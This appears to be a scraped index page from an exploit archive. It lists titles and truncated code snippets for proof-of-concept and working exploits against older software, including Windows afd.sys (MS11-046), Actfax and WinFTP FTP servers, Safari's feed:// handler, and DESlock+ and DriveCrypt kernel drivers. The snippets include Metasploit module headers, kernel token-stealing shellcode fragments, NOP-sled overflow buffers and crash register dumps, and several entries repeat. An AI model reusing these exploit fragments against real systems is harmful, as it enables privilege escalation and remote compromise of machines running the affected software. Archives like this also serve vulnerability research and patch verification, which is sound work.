Microsoft Windows - 'afd.sys' Local Kernel (PoC) (MS11-046)

/ MS11-046 Was a Zero day found in the wild , reported to MS by Steven Adair from the Shadowserver Foundation and Chris S . Ronnie Johndas wrote the writeup dissecting a malware with this exploit . I Rahul Sasifb1h2s just made the POC exploit available . Reference: ms8-66, ms6-49 Too lazy to add...

Reverse Engineering SEHOP Chain Validation

Reverse Engineering code of SEHOP Chain Validation by x90c [email protected] -- sehopchainvalidation.c -- typedef struct EXCEPTIONREGISTRATIONRECORD struct EXCEPTIONREGISTRATIONRECORD Next; PEXCEPTIONROUTINE Handler; EXCEPTIONREGISTRATIONRECORD, PEXCEPTIONREGISTRATIONRECORD; / first ER struct o...

Actfax FTP Server 4.27 - 'USER' Stack Buffer Overflow (Metasploit)

This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'Actfax FTP Server...

Actfax FTP Server <= v4.27 USER Command 0day Stack Buffer Overflow (MSF)

No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core'...

Actfax FTP Server <= v4.27 USER Command Stack Buffer Overflow (MSF)

Exploit for windows platform in category remote exploits This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework...

DESlock+ 4.1.10 - vdlptokn.sys Local Kernel Ring0 SYSTEM

DESlock+ 4.1.10 - vdlptokn.sys Local Kernel Ring0 SYSTEM / deslock-vdlptokn.c Copyright c 2009 by DESlock+ include include include define VDLPTOKNIOCTL 0x00222010 define DLKFDISKRIOCTL 0x80002008 define DLKFDISKSLOT 0x00000CF8 define ARGSIZEa a/sizeof void / Win2k3 SP1/2 - kernel EPROCESS token...

DriveCrypt 5.3 - Local Kernel Ring0 SYSTEM

/ drivecrypt-dcr.c Copyright c 2009 by DriveCrypt include include include define DCRIOCTL 0x00073800 static unsigned char win32fixup = "\x89\xe5" "\x81\xc5\xb4\x0c\x00\x00"; / Win2k3 SP1/2 - kernel EPROCESS token switcher by mu-b / static unsigned char win2k3ring0shell = / ring0 /...

Easy Icon Maker - .ico File Reading Crash

Easy Icon Maker - .ico File Reading Crash ! /usr/bin/python Easy Icon Maker .ico File Reading Crash Homepage: www.icon-maker.com Credit : ItSecTeam mail : [email protected] Web: WwW.ITSecTeam.com Forum: WwW.forum.itsecteam.com Special Tanks : PLATE - [email protected] - B3hz4d - Cdef3nder EAX 30303030 ECX...

Flare 0.6 Heap Overflow Denial Of Service

!/usr/bin/env python IRC: irc.nix.co.il Site: xraysecurity.blogspot.com ---- Coming soon! Registers: EAX 003E0000 ECX 003E1088 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." EDX 41414141 EBX 00004141 ESP 0022FB0C EBP 0022FBDC ESI 003E1080 EDI 41414141 EIP 77195B44 ntdll.77195B44 import os...

NPlayer - .dat Skin Local Heap Overflow (PoC)

NPlayer - .dat Skin Local Heap Overflow PoC !/usr/bin/perl Exploit Title:NPlayer .dat Skin File Local Heap Overflow PoC Date:13/01/2010 Author:Vulnerability Discovered By Rehan Ahmed [email protected] Tested On: WinXP SP2 EBX 41414141 ESP 0012EF6C EBP 00DA50F8 ASCII "C:\Program...

jetAudio 7.1.9.4030 Stack Overflow

!/usr/bin/perl Found By :: HACK4LOVE [email protected] jetAudio v 7.1.9.4030 plus vx .m3u Local Stack Overflow PoC EAX 01052C10 ASCII ECX 007B0390 EDX 00000000 EBX 41414141 ESP 0308F6F0 EBP 0308F90C ESI 01052C08 ASCII EDI 41414141 EIP 7C91B3FB ntdll.7C91B3FB it can be exploit but it didnot wo...

MP3 Studio 1.0 (.mpf /.m3u File) Local Stack Overflow PoC

No description provided by source. !/usr/bin/perl Found By :: HACK4LOVE MP3 Studio v 1.0 .mpf /.m3u File Local Stack Overflow PoC http://www.software112.com/products/mp3-millennium+download.html Thanks for SkuLL-HacKeR and all WwW.Sec-ArT.CoM/cc team EAX 00000000 ECX 41414141 EDX 7C9037D8...

MP3 Studio 1.0 - .mpf .m3u Local Stack Overflow (PoC)

MP3 Studio 1.0 - .mpf .m3u Local Stack Overflow PoC !/usr/bin/perl Found By :: HACK4LOVE MP3 Studio v 1.0 .mpf /.m3u File Local Stack Overflow PoC http://www.software112.com/products/mp3-millennium+download.html Thanks for SkuLL-HacKeR and all WwW.Sec-ArT.CoM/cc team EAX 00000000 ECX 41414141 EDX...

otsAV 1.77.001 - .ofl Local Heap Overflow (PoC)

otsAV 1.77.001 - .ofl Local Heap Overflow PoC !/usr/bin/perl Found By :: HACK4LOVE otsAV 1.77.001 .ofl File Local Heap Overflow PoC http://x.download.otszone.com/static/otsavfreesetup.exe EAX 0123BB48 ECX 01130210 EDX 01130160 EBX 41414141 ESP 0012F22C EBP 0012F448 ESI 0123BB40 EDI 41414141 EIP...

otsAV 1.77.001 - '.ofl' Local Heap Overflow (PoC)

!/usr/bin/perl Found By :: HACK4LOVE otsAV 1.77.001 .ofl File Local Heap Overflow PoC http://x.download.otszone.com/static/otsavfreesetup.exe EAX 0123BB48 ECX 01130210 EDX 01130160 EBX 41414141 ESP 0012F22C EBP 0012F448 ESI 0123BB40 EDI 41414141 EIP 7C91B3FB ntdll.7C91B3FB Thanks for shar7abel...

Safari RSS feed:// Buffer Overflow

!/usr/bin/ruby Quick-n-dirty PoC for APPLE-SA-2009-05-12 ala CVE-2008-3529 Safari RSS feed:// buffer overflow via libxml2 by KF of Digitalmunition and Netragard http://www.digitalmunition.com , http://www.netragard.com The application PubSubAgent quit unexpectedly. Process: PubSubAgent 3764 Path:...

Apple Safari - RSS 'feed://' Buffer Overflow via libxml2 (PoC)

!/usr/bin/ruby Quick-n-dirty PoC for APPLE-SA-2009-05-12 ala CVE-2008-3529 Safari RSS feed:// buffer overflow via libxml2 by KF of Digitalmunition and Netragard http://www.digitalmunition.com , http://www.netragard.com The application PubSubAgent quit unexpectedly. Process: PubSubAgent 3764 Path:...

Apple Safari - RSS feed: Buffer Overflow via libxml2 (PoC)

Apple Safari - RSS feed: Buffer Overflow via libxml2 PoC !/usr/bin/ruby Quick-n-dirty PoC for APPLE-SA-2009-05-12 ala CVE-2008-3529 Safari RSS feed:// buffer overflow via libxml2 by KF of Digitalmunition and Netragard http://www.digitalmunition.com , http://www.netragard.com The application...

dBpowerAMP Audio Player 2 Buffer Overflow Exploit

dBpowerAMP Audio Player v2 .pls file LoCaL BufferOverFlow Exploit Exploited By AlpHaNiX From NullArea.Net Thanks Stack For The PoC system"cls" ; print "\n\n\n+ dBpowerAMP Audio Player v2 .pls file LoCaL BufferOverFlow Exploit" ; my $blah= "\x41" x 600; my $nop = "\x90" x 52 ; my $ret =...

WinFTP 2.3.0 (LIST) Remote Buffer Overflow Exploit (post-auth)

Exploit for unknown platform in category remote exploits ============================================================== WinFTP 2.3.0 LIST Remote Buffer Overflow Exploit post-auth ============================================================== !/usr/bin/perl WinFTP 2.3.0 post-auth remote exploit...